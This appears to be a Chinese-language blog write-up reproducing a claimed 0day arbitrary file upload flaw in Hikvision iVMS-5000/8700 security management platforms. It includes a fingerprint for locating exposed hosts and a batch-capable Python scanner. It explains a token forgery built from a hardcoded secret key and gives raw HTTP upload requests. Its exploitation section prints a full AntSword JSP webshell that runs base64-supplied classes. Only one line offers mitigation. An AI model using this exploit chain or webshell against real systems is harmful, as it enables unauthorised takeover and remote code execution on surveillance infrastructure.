0x01 产品简介

海康威视iVMS集中监控应用管理平台,是以安全防范业务应用为导向,以视频图像应用为基础手段,综合视频监控、联网报警、智能分析、运维管理等多种安全防范应用系统,构建的多业务应用综合管理平台。

0x02 漏洞概述

海康威视iVMS系统存在在野 0day 漏洞,攻击者通过获取密钥任意构造token,请求/resourceOperations/upload接口任意上传文件,导致获取服务器webshell权限,同时可远程进行恶意代码执行。

0x03 影响范围

海康威视综合安防系统iVMS-5000

海康威视综合安防系统 iVMS-8700

0x04 复现环境

鹰图指纹:web.body="/views/home/file/installPackage.rar"

0x05 漏洞复现

检测脚本PoC:https://github.com/sccmdaveli/hikvision-poc

import requests
import urllib3
import urllib
import hashlib
import argparse
from colorama import init
from colorama import Fore
init(autoreset=True)
urllib3.disable_warnings()head = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36","Cookie": "ISMS_8700_Sessionname=ABCB193BD9D82CC2D6094F6ED4D81169"
}
def md5encode(url):if url.endswith("/"):path = "eps/api/resourceOperations/uploadsecretKeyIbuilding"else:path = "/eps/api/resourceOperations/uploadsecretKeyIbuilding"encodetext = url + pathinput_name = hashlib.md5()input_name.update(encodetext.encode("utf-8"))return (input_name.hexdigest()).upper()def poc(url):if url.endswith("/"):path = "eps/api/resourceOperations/upload?token="else:path = "/eps/api/resourceOperations/upload?token="pocurl = url + path + md5encode(url)data = {"service": urllib.parse.quote(url + "/home/index.action")}try:response = requests.post(url=pocurl,headers=head,data=data,verify=False,timeout=3)if response.status_code==200:print(Fore.GREEN + f"[+]{url}存在海康威视iVMS 综合安防任意文件上传漏洞!!!!")else:print(Fore.RED + f"[-]{url}不存在海康威视iVMS 综合安防任意文件上传漏洞")except:passif __name__ == '__main__':parser = argparse.ArgumentParser(usage='python3 ivms.py -u http://xxxx\npython3 ivms.py -f file.txt',description='ivms漏洞检测poc',)p = parser.add_argument_group('ivms 的参数')p.add_argument("-u", "--url", type=str, help="测试单条url")p.add_argument("-f", "--file", type=str, help="测试多个url文件")args = parser.parse_args()if args.url:poc(args.url)if args.file:for i in open(args.file,"r").read().split("\n"):poc(i)

使用方式:

单个url检测:

python3 ivms-poc.py -u url

多个url检测:

python3 ivms-poc.py -f file.txt

效果:

手动复现 

漏洞url:/eps/api/resourceOperations/upload

bp抓取首页包,尝试访问接口(发现token需要进行鉴权)

POST /eps/api/resourceOperations/upload HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://you-ip
Connection: close
Cookie: ISMS_8700_Sessionname=7634604FBE659A8532E666FE4AA41BE9
Upgrade-Insecure-Requests: 1
Content-Length: 62service=http%3A%2F%2Fx.x.x.x%3Ax%2Fhome%2Findex.action

构造token绕过认证  (内部机制:如果token值与请求url+secretkey的md5值相同就可以绕过认证)

secretkey是代码里写死的(默认值:secretKeyIbuilding)

token值需要进行MD5加密(32位大写)

组合:token=MD5(url+"secretKeyIbuilding")

重新验证

可以看到,成功绕过

构造文件上传payload

POST /eps/api/resourceOperations/upload?token=构造的token值 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: ISMS_8700_Sessionname=A29E70BEA1FDA82E2CF0805C3A389988
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryGEJwiloiPo
Upgrade-Insecure-Requests: 1
Content-Length: 174------WebKitFormBoundaryGEJwiloiPo
Content-Disposition: form-data; name="fileUploader";filename="1.jsp"
Content-Type: image/jpegtest
------WebKitFormBoundaryGEJwiloiPo

显示上传成功且返回了resourceUuid值

验证路径:http://url/eps/upload/resourceUuid的值.jsp

0x06 漏洞利用

直接上传蚁剑jsp马子

<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
%>
<%String cls = request.getParameter("passwd");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
%>

上传成功,尝试连接

0x07 修复建议

关闭互联网暴露面访问的权限,文件上传模块做好权限强认证

海康威视iVMS综合安防系统任意文件上传漏洞复现(0day)相关推荐

  1. 海康威视iVMS综合安防系统任意文件上传漏洞复现 (0day)

    前言 此文章仅用于技术交流,严禁用于对外发起恶意攻击!!! 一.漏洞描述 海康威视iVMS系统存在在野 0day 漏洞,攻击者通过获取密钥任意构造token,请求/resourceOperations ...

  2. 【漏洞复现】海康威视iVMS综合安防系统任意文件上传漏洞复现 (在野0day)

    文章目录 前言 声明 一.产品简介 二.漏洞概述 三.影响范围 四.漏洞验证 五.漏洞利用 六.修复建议 前言 海康威视iVMS综合安防系统存在任意文件上传漏洞 ,攻击者可通过构造特定Payload实 ...

  3. UEditor .Net版本任意文件上传漏洞复现总结

    UEditor .Net版本任意文件上传漏洞复现总结 - 知乎 (zhihu.com) 这个洞有一定年数了,是2018年发现的(从下图的shodan中可以得知,该漏洞已经被大部分黑客SEO利用),最近 ...

  4. 畅捷通T+ v17任意文件上传漏洞复现

    1.前言 8月29晚上就开始收到通知,让我们来排查一下是否有使用畅捷通的系统,说是疑似0day导致很多用户被植入勒索病毒,一时间风头十足.第二天很多平台都更新的防护策略,本次漏洞是任意文件上传漏洞,如 ...

  5. 用友GRP-U8 U8AppProxy任意文件上传漏洞复现+利用

    1.漏洞概述 用友GRP-U8R10行政事业财务管理软件是用友公司专注于电子政务事业,基于云计算技术所推出的新一代产品,是我国行政事业财务领域专业的财务管理软件.用友 GRP-U8 U8AppProx ...

  6. UEditor .Net版本任意文件上传漏洞复现

    目录   漏洞背景   漏洞影响   漏洞利用   漏洞分析   防御措施 漏洞背景 UEditor是由百度WEB前端研发部开发的所见即所得的开源富文本编辑器 漏洞影响 该漏洞影响UEditor的.N ...

  7. CVE-2022-29464 WSO2 任意文件上传漏洞复现

    目录 0x01 声明: 0x02 简介: 0x03 漏洞概述: 0x04 影响版本: 0x05 环境搭建: vulfocus搭建: 0x06 漏洞复现: 1.EXP利用: 2.Burp改包: 0x07 ...

  8. 和信创天云桌面系统VENGD文件上传漏洞复现

    1.漏洞概述 和信创天下一代云桌面系统融合了VDI.VOI.IDV三大架构优势的云桌面产品,实现了前后端混合计算,兼顾移动办公和窄带环境下3D高清播放和外设硬件全兼容,满足大规模终端的管理.安全.运维 ...

  9. Goby 漏洞更新 |海康威视部分iVMS系统存在文件上传漏洞

    漏洞名称:海康威视部分iVMS系统存在文件上传漏洞 English Name:Some Hikvision iVMS file upload vulnerabilitie CVSS core: 9.8 ...

最新文章

  1. oracle 等频直方图,等频直方图预估结果集行计算公式
  2. ActiveServices
  3. 概率论 一维随机变量
  4. 表示深深的感谢飞鸽传书源码
  5. python编写函数showmsg(n、name)_Python语言答案
  6. Eclipse 常用快捷键(转)
  7. auc 和loss_精确率、召回率、F1 值、ROC、AUC 各自的优缺点是什么?
  8. 远程办公绝非远程监控,该如何挖掘远程办公的红利?
  9. Unix Windows
  10. 八爪鱼批量爬取html中的数据,批量采集网页数据 - 八爪鱼采集器
  11. 基于django+mysql的教师教学质量评价系统源代码,教学评价系统源码
  12. HDU - 4747 Mex(线段树)
  13. python上传大文件s3_使用Python boto3上传Windows EC2实例中的文件至S3存储桶中
  14. IAR for MSP430 7_12在线调试不能打断点解决方法
  15. 【支付架构】支付运营平台设计
  16. 无线充出口日本需办理无线TELEC认证
  17. Mac 常用快捷键(Alfred+workflow+IDEA)
  18. 龙德广场爱心公益行,走进昌平区流村孤儿院
  19. Unity安卓本地推送
  20. 什么都是的天翼是什么

热门文章

  1. 跳出艺术谈科学,人力资源管理书籍推荐
  2. 存储调研:Lustre并行文件系统体系结构
  3. python实现人脸识别系统设计_基于ROS的人脸识别系统设计与实现
  4. Excel工资条一键发送系统
  5. 关于微信HOOK协议,包括云控的后续开发经验
  6. 软件测试案例实践:银行如何做大规模自动化测试?
  7. ADAMS基础到测量 后处理 参数优化设计视频教程
  8. 华硕计算机用户名默认密码是多少,华硕路由器(ASUS)默认登录IP地址是多少
  9. 计算机等级考试出现文件无法打开,计算机等级考试一级:修复无法打开的WPS文件...
  10. JavaScript数据结构之哈希表